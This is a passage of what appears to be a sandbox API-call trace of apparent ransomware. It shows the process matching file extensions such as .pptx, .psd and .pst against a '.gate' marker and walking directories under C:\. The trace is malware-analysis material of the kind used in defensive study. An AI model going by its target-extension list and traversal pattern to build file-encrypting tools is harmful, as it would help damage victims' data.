lpString2=".gate") returned 1 [0272.532] lstrlenW (lpString=".ppm") returned 4 [0272.532] lstrcmpiW (lpString1=".ppm", lpString2="gate") returned -1 [0272.532] lstrlenW (lpString=".pps") returned 4 [0272.532] lstrcmpiW (lpString1=".pps", lpString2="gate") returned -1 [0272.532] lstrlenW (lpString=".ppsm") returned 5 [0272.532] lstrcmpiW (lpString1=".ppsm", lpString2=".gate") returned 1 [0272.532] lstrlenW (lpString=".ppt") returned 4 [0272.532] lstrcmpiW (lpString1=".ppt", lpString2="gate") returned -1 [0272.532] lstrlenW (lpString=".pptm") returned 5 [0272.532] lstrcmpiW (lpString1=".pptm", lpString2=".gate") returned 1 [0272.532] lstrlenW (lpString=".pptx") returned 5 [0272.532] lstrcmpiW (lpString1=".pptx", lpString2=".gate") returned 1 [0272.533] lstrlenW (lpString=".prn") returned 4 [0272.533] lstrcmpiW (lpString1=".prn", lpString2="gate") returned -1 [0272.533] lstrlenW (lpString=".ps") returned 3 [0272.533] lstrcmpiW (lpString1=".ps", lpString2="ate") returned -1 [0272.533] lstrlenW (lpString=".psb") returned 4 [0272.533] lstrcmpiW (lpString1=".psb", lpString2="gate") returned -1 [0272.533] lstrlenW (lpString=".psd") returned 4 [0272.533] lstrcmpiW (lpString1=".psd", lpString2="gate") returned -1 [0272.533] lstrlenW (lpString=".pst") returned 4 [0272.533] lstrcmpiW (lpString1=".pst", lpString2="gate") returned -1 [0272.533] lstrlenW (lpString=".ptx") returned 4 [0272.533] lstrcmpiW (lpString1=".ptx", lpString2="gate") returned -1 [0272.533] lstrlenW (lpString=".pub") returned 4 [0272.533] lstrcmpiW (lpString1=".pub", lpString2="gate") returned -1 [0272.533] lstrlenW (lpString=".pwm") returned 4 [0272.533] lstrcmpiW (lpString1=".pwm", lpString2="gate") returned -1 [0272.533] lstrlenW (lpString=".pxr") returned 4 [0272.533] lstrcmpiW (lpString1=".pxr", lpString2="gate") returned -1 [0272.533] lstrlenW (lpString=".py") returned 3 [0272.533] lstrcmpiW (lpString1=".py", lpString2="ate") returned -1 [0272.533] lstrlenW (lpString=".qt") returned 3 [0272.533] lstrcmpiW (lpString1=".qt", lpString2="ate") returned -1 [0272.533] lstrlenW (lpString=".r3d") returned 4 [0272.533] lstrcmpiW (lpString1=".r3d", lpString2="gate") returned -1 [0272.533] lstrlenW (lpString=".raf") returned 4 [0272.533] lstrcmpiW (lpString1=".raf", lpString2="gate") returned -1 [0272.533] lstrlenW (lpString=".rar") returned 4 [0272.533] lstrcmpiW (lpString1=".rar", lpString2="gate") returned -1 [0272.534] lstrlenW (lpString=".raw") returned 4 [0272.534] lstrcmpiW (lpString1=".raw", lpString2="gate") returned -1 [0272.534] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.534] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.534] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.541] FindClose (in: hFindFile=0x77d1e8 | out: hFindFile=0x77d1e8) returned 1 [0272.541] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.541] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.541] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.542] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d4a8 [0272.545] FindNextFileW (in: hFindFile=0x77d4a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.546] FindNextFileW (in: hFindFile=0x77d4a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.546] FindNextFileW (in: hFindFile=0x77d4a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.546] FindNextFileW (in: hFindFile=0x77d4a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.546] FindNextFileW (in: hFindFile=0x77d4a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.546] FindClose (in: hFindFile=0x77d4a8 | out: hFindFile=0x77d4a8) returned 1 [0272.546] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.546] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.546] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.547] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d228 [0272.548] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.549] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.549] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.549] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.549] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.549] FindClose (in: hFindFile=0x77d228 | out: hFindFile=0x77d228) returned 1 [0272.550] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.550] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.550] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.550] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d0a8 [0272.552] FindNextFileW (in: hFindFile=0x77d0a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.552] FindNextFileW (in: hFindFile=0x77d0a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.552] FindNextFileW (in: hFindFile=0x77d0a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.553] FindNextFileW (in: hFindFile=0x77d0a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.553] FindNextFileW (in: hFindFile=0x77d0a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.553] FindClose (in: hFindFile=0x77d0a8 | out: hFindFile=0x77d0a8) returned 1 [0272.554] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.554] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.554] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.554] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d528 [0272.617] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.617] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.617] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.617] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.617] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.617] FindClose (in: hFindFile=0x77d528 | out: hFindFile=0x77d528) returned 1 [0272.618] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.618] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.618] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.618] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d168 [0272.619] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.619] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.619] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.620] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.620] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.620] FindClose (in: hFindFile=0x77d168 | out: hFindFile=0x77d168) returned 1 [0272.621] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.621] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.621] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.621] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d168 [0272.622] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.622] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.622] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.622] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.622] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.622] FindClose (in: hFindFile=0x77d168 | out: hFindFile=0x77d168) returned 1 [0272.623] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.623] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.623] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.623] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d428 [0272.624] FindNextFileW (in: hFindFile=0x77d428, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.624] FindNextFileW (in: hFindFile=0x77d428, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.624] FindNextFileW (in: hFindFile=0x77d428, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.625] FindNextFileW (in: hFindFile=0x77d428, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.625] FindNextFileW (in: hFindFile=0x77d428, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.635] FindClose (in: hFindFile=0x77d428 | out: hFindFile=0x77d428) returned 1 [0272.636] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.636] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.636] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.636] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d728 [0272.637] FindNextFileW (in: hFindFile=0x77d728, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.637] FindNextFileW (in: hFindFile=0x77d728, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.637] FindNextFileW (in: hFindFile=0x77d728, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.637] FindNextFileW (in: hFindFile=0x77d728, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.637] FindNextFileW (in: hFindFile=0x77d728, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.637] FindClose (in: hFindFile=0x77d728 | out: hFindFile=0x77d728) returned 1 [0272.638] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.638] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.638] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.638] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d528 [0272.639] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.639] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.639] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.639] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.639] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.639] FindClose (in: hFindFile=0x77d528 | out: hFindFile=0x77d528) returned 1 [0272.640] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.640] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.640] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.640] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d3a8 [0272.641] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.641] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.641] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.642] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.642] FindClose (in: hFindFile=0x77d3a8 | out: hFindFile=0x77d3a8) returned 1 [0272.642] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.642] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.643] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.643] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.643] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.643] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d2e8 [0272.643] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.643] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.644] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.644] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.644] FindClose (in: hFindFile=0x77d2e8 | out: hFindFile=0x77d2e8) returned 1 [0272.656] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.656] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.658] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.659] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d3a8 [0272.659] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.659] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.659] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.660] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.660] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.660] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.660] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.660] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.660] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.660] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.660] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.660] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.660] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.661] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.661] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.661] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.661] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.661] FindClose (in: hFindFile=0x77d3a8 | out: hFindFile=0x77d3a8) returned 1 [0272.662] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.662] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.662] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.662] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.662] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.662] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.662] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.662] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.662] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.662] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.663] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.663] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.663] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.663] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.663] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.663] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.663] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.663] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.663] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.664] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.664] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.664] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.664] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.664] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.664] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.664] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 0 [0272.664] FindClose (in: hFindFile=0x77d768 | out: hFindFile=0x77d768) returned 1 [0272.665] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3ed0940 | out: hHeap=0x6e0000) returned 1 [0272.666] FindNextFileW (in: hFindFile=0x77d028, lpFindFileData=0x363fcf8 | out: lpFindFileData=0x363fcf8) returned 1 [0272.666] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3ed0940 [0272.666] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 0x77d168 [0272.670] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.670] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.693] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.693] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.694] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.694] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.694] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.694] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.694] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.694] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.694] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.694] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.694] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.694] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.694] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.695] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.695] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.695] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.695] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.695] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.695] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.695] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.695] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.695] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.734] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.734] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.759] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.759] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.760] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.761] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.761] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.762] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.763] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.764] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.764] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.765] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.766] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.766] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.770] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.771] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.772] HeapFree (in: hHeap=0x6e0000, 